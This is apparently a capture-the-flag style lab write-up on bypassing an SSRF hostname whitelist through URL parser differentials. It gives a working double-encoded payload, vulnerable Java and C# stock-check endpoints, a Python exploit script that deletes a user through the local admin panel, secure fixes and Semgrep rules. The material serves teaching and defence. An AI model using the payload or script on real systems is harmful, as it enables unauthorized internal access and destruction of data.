Lab 04: SSRF with whitelist-based input filter
1. Executive Summary
Vulnerability: Server-Side Request Forgery (SSRF) via URL Parsing Inconsistencies.
Description: The application attempts to secure its stock check feature by validating the user-provided URL against a strict whitelist (e.g., requiring the hostname to be stock.weliketoshop.net). However, the application uses two different libraries: one to validate the URL and another to fetch the URL. By heavily obfuscating the URL using embedded credentials (@), double-URL encoding (%2523), and fragments (#), an attacker exploits the differential parsing logic between these two libraries. The validator is tricked into seeing the whitelisted domain, while the fetching library connects to localhost.
Impact: Privilege Escalation / Unauthorized Access. The attacker bypasses the whitelist defense and forces the server to access its internal local network, executing a destructive action against the admin panel.
2. The Attack
Objective: Bypass the strict hostname whitelist to access the local admin interface and delete the user carlos.
- Reconnaissance (Mapping the Filter):
- Intercepting the
POST /product/stockrequest, I changedstockApitohttp://127.0.0.1/. The server blocked it, indicating a whitelist approach rather than a naive blacklist. - I tested
http://username@stock.weliketoshop.net/. The server accepted it, confirming the parser supports HTTP Basic Authentication syntax (embedded credentials).
- Intercepting the
- Probing Parser Differentials:
- I added a URL fragment character:
http://username#@stock.weliketoshop.net/. The server rejected it. - I double-URL encoded the
#to%2523:http://username%2523@stock.weliketoshop.net/. The server threw an “Internal Server Error”. This was the breakthrough. It meant the validator accepted the string (seeing the whitelisted host after the@), but the fetching library decoded%2523to#(or%23) and attempted to connect tousernameas the host.
- I added a URL fragment character:
- Exploitation:
- I constructed the final payload:
http://localhost:80%2523@stock.weliketoshop.net/admin/delete?username=carlos - The Validator’s View: It sees the
@symbol and assumes everything before it is a username/password. It verifies that the host isstock.weliketoshop.netand approves the URL. - The Fetcher’s View: It decodes
%2523into%23(and subsequently#). It interprets the URL ashttp://localhost:80with a fragment of#@stock.weliketoshop.net/admin/delete?username=carlos. It opens a TCP connection tolocalhoston port 80. - The request succeeded, and
carloswas deleted.
- I constructed the final payload:
3. Code Review
Java (Spring Boot)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
@PostMapping("/product/stock")
public ResponseEntity<String> checkStock(@RequestParam String stockApi) {
try {
// VULNERABLE: Using java.net.URL for validation, but potentially a different client for fetching.
URL url = new URL(stockApi);
// The validator logic
if (!url.getHost().equals("stock.weliketoshop.net")) {
return ResponseEntity.status(403).body("Invalid host");
}
// The fetcher logic (using a different parsing mechanism implicitly or explicitly)
// E.g., Apache HttpClient which might parse the string differently than java.net.URL
CloseableHttpClient client = HttpClients.createDefault();
HttpGet request = new HttpGet(stockApi);
CloseableHttpResponse response = client.execute(request);
String responseBody = EntityUtils.toString(response.getEntity());
return ResponseEntity.ok(responseBody);
} catch (Exception e) {
return ResponseEntity.status(500).build();
}
}
Technical Flow & Syntax Explanation:
url.getHost().equals(...): Thejava.net.URLclass parses the double-encoded string. It identifies the@symbol and considerslocalhost:80%2523as the user-info section, extractingstock.weliketoshop.netas the host. The whitelist check passes.new HttpGet(stockApi): The Apache HTTP client constructor takes the raw string. It may perform its own URL decoding step before resolving the host. If it decodes%2523to#, it truncates the host atlocalhost:80, treating the rest of the string as a client-side fragment.- The Flaw: Security controls must use the exact same parsed object as the execution engine. Passing the raw string
stockApito a second library creates the differential.
C# (ASP.NET Core)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
[HttpPost("product/stock")]
public async Task<IActionResult> CheckStock([FromForm] string stockApi)
{
// VULNERABLE: Parsing differential between Uri class and HttpClient
if (Uri.TryCreate(stockApi, UriKind.Absolute, out Uri parsedUri))
{
// Validator
if (parsedUri.Host != "stock.weliketoshop.net")
{
return Forbid();
}
using (var client = new HttpClient())
{
try
{
// Fetcher uses the raw string, potentially parsing it differently internally
var response = await client.GetStringAsync(stockApi);
return Content(response, "text/html");
}
catch (Exception)
{
return StatusCode(500, "Error");
}
}
}
return BadRequest("Invalid URL format");
}
Technical Flow & Syntax Explanation:
Uri.TryCreate(...): The .NETUriclass constructs an object from the attacker’s string. Depending on the framework version, it may strictly separate user-info based on the@symbol, successfully validating the domain.client.GetStringAsync(stockApi): By passing the rawstringinstead of the validatedparsedUriobject, theHttpClientinvokes its own internal parsing routines, which are susceptible to the double-URL encoding trick, resulting in a connection tolocalhost.
Mock PR Comment
The checkStock method validates the requested URL using one parsing mechanism but fetches the URL by passing the raw string to an HTTP client. This creates a “parser differential” vulnerability. Attackers can use URL encoding, fragments (#), and credentials (@) to bypass the whitelist while forcing the HTTP client to connect to localhost.
Recommendation: Do not accept arbitrary URLs from the client. Implement an Indirect Object Reference (e.g., map a stockId to an internal URL server-side). If a URL must be processed, ensure the HTTP client executes the exact URI/URL object that was validated, rather than re-parsing the raw string.
4. The Fix
Explanation of the Fix:
As with previous SSRF mitigations, the most robust defense is an Indirect Object Reference. By removing the ability for the client to dictate the URL structure, we completely neutralize parser differential attacks.
Secure Java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// SECURE: Hardcoded Map of allowed endpoints
private static final Map<Integer, String> STORE_ENDPOINTS = Map.of(
1, "http://internal-stock.api:8080/check?storeId=1",
2, "http://internal-stock.api:8080/check?storeId=2"
);
@PostMapping("/product/stock")
public ResponseEntity<String> checkStock(@RequestParam int storeId) {
// SECURE: Lookup trusted URL based on discrete user input
String targetUrl = STORE_ENDPOINTS.get(storeId);
if (targetUrl == null) {
return ResponseEntity.badRequest().body("Invalid store selection.");
}
try {
CloseableHttpClient client = HttpClients.createDefault();
HttpGet request = new HttpGet(targetUrl);
CloseableHttpResponse response = client.execute(request);
return ResponseEntity.ok(EntityUtils.toString(response.getEntity()));
} catch (Exception e) {
return ResponseEntity.status(500).build();
}
}
Technical Flow & Syntax Explanation:
@RequestParam int storeId: The client only provides a numeric identifier.STORE_ENDPOINTS.get(storeId): The server constructs the URL entirely from trusted, hardcoded data. There is no user string to parse, making parser differentials impossible.
Secure C#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private readonly Dictionary<int, string> _trustedStockApis = new()
{
{ 1, "http://internal-stock-1.api:8080/check" },
{ 2, "http://internal-stock-2.api:8080/check" }
};
[HttpPost("product/stock")]
public async Task<IActionResult> CheckStock([FromForm] int storeId)
{
// SECURE: Validating against an exact dictionary list
if (!_trustedStockApis.TryGetValue(storeId, out var internalUrl))
{
return BadRequest("Invalid stock identifier.");
}
using (var client = new HttpClient())
{
var response = await client.GetStringAsync(internalUrl);
return Content(response, "text/html");
}
}
Technical Flow & Syntax Explanation:
TryGetValue(storeId, out var internalUrl): Safely maps the user’s integer to a fully trusted, server-defined URL. TheHttpClientexecutes a URL that has never touched the client-side, eliminating the SSRF vector.
5. Automation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin/env python3
import argparse
import requests
import sys
def exploit_ssrf_whitelist_bypass(url, target_user):
stock_endpoint = f"{url.rstrip('/')}/product/stock"
# Payload uses double URL encoding (%2523) for '#' and credentials '@' to trick the parser
# The validator sees host: stock.weliketoshop.net
# The HTTP client sees host: localhost:80
ssrf_payload = f"http://localhost:80%2523@stock.weliketoshop.net/admin/delete?username={target_user}"
data = {
"stockApi": ssrf_payload
}
print(f"[*] Targeting endpoint: {stock_endpoint}")
print(f"[*] Delivering SSRF Payload: {ssrf_payload}")
try:
resp = requests.post(stock_endpoint, data=data)
if resp.status_code == 200:
print(f"[!!!] SUCCESS: Whitelist bypassed. User '{target_user}' should be deleted.")
else:
print(f"[-] Request failed with status code: {resp.status_code}")
except requests.exceptions.RequestException as e:
print(f"[-] A network error occurred: {e}")
sys.exit(1)
def main():
parser = argparse.ArgumentParser(description="Exploit SSRF bypassing strict whitelists via parser differentials.")
parser.add_argument("url", help="Lab URL")
parser.add_argument("--user", default="carlos", help="User to delete (default: carlos)")
args = parser.parse_args()
exploit_ssrf_whitelist_bypass(args.url, args.user)
if __name__ == "__main__":
main()
6. Static Analysis (Semgrep)
The Logic: We want to detect instances where a URL string is validated using one method (like parsing it into a URI object and checking properties) but a different string or the raw unparsed string is passed to the HTTP client for execution.
Java Rule
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
rules:
- id: java-ssrf-parser-differential
languages: [java]
message: |
Potential SSRF Parser Differential. A URL is validated using java.net.URL/URI,
but the raw string is passed to the HTTP client. Pass the validated URI object
directly to the client to ensure consistent parsing, or use an allowlist.
severity: ERROR
patterns:
- pattern-inside: |
$URL = new URL($RAW);
...
$CLIENT.execute(new HttpGet($RAW));
- pattern-not: |
$URL = new URL($RAW);
...
$CLIENT.execute(new HttpGet($URL.toString()));
Technical Flow & Syntax Explanation:
$URL = new URL($RAW): Identifies the validation step where the raw input is parsed.$CLIENT.execute(new HttpGet($RAW)): Flags the vulnerability because the raw, unvalidated string is passed to the execution sink, not the validated object.pattern-not: Prevents false positives if the developer correctly passes the rigorously serialized output of the validated URL object to the fetcher.
C# Rule
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
rules:
- id: csharp-ssrf-parser-differential
languages: [csharp]
message: |
Potential SSRF Parser Differential. 'Uri.TryCreate' is used for validation,
but the raw string parameter is passed to 'HttpClient'. Pass the validated
'Uri' object to the client to avoid bypasses via obfuscation.
severity: ERROR
patterns:
- pattern-inside: |
Uri.TryCreate($RAW, ..., out Uri $PARSED);
...
$CLIENT.GetStringAsync($RAW);
- pattern-not: |
$CLIENT.GetStringAsync($PARSED);
Technical Flow & Syntax Explanation:
Uri.TryCreate($RAW, ..., out Uri $PARSED): Captures the C# validation mechanism parsing the untrusted input.$CLIENT.GetStringAsync($RAW): Identifies the vulnerability where the raw string is executed instead of the safe$PARSEDURI object.
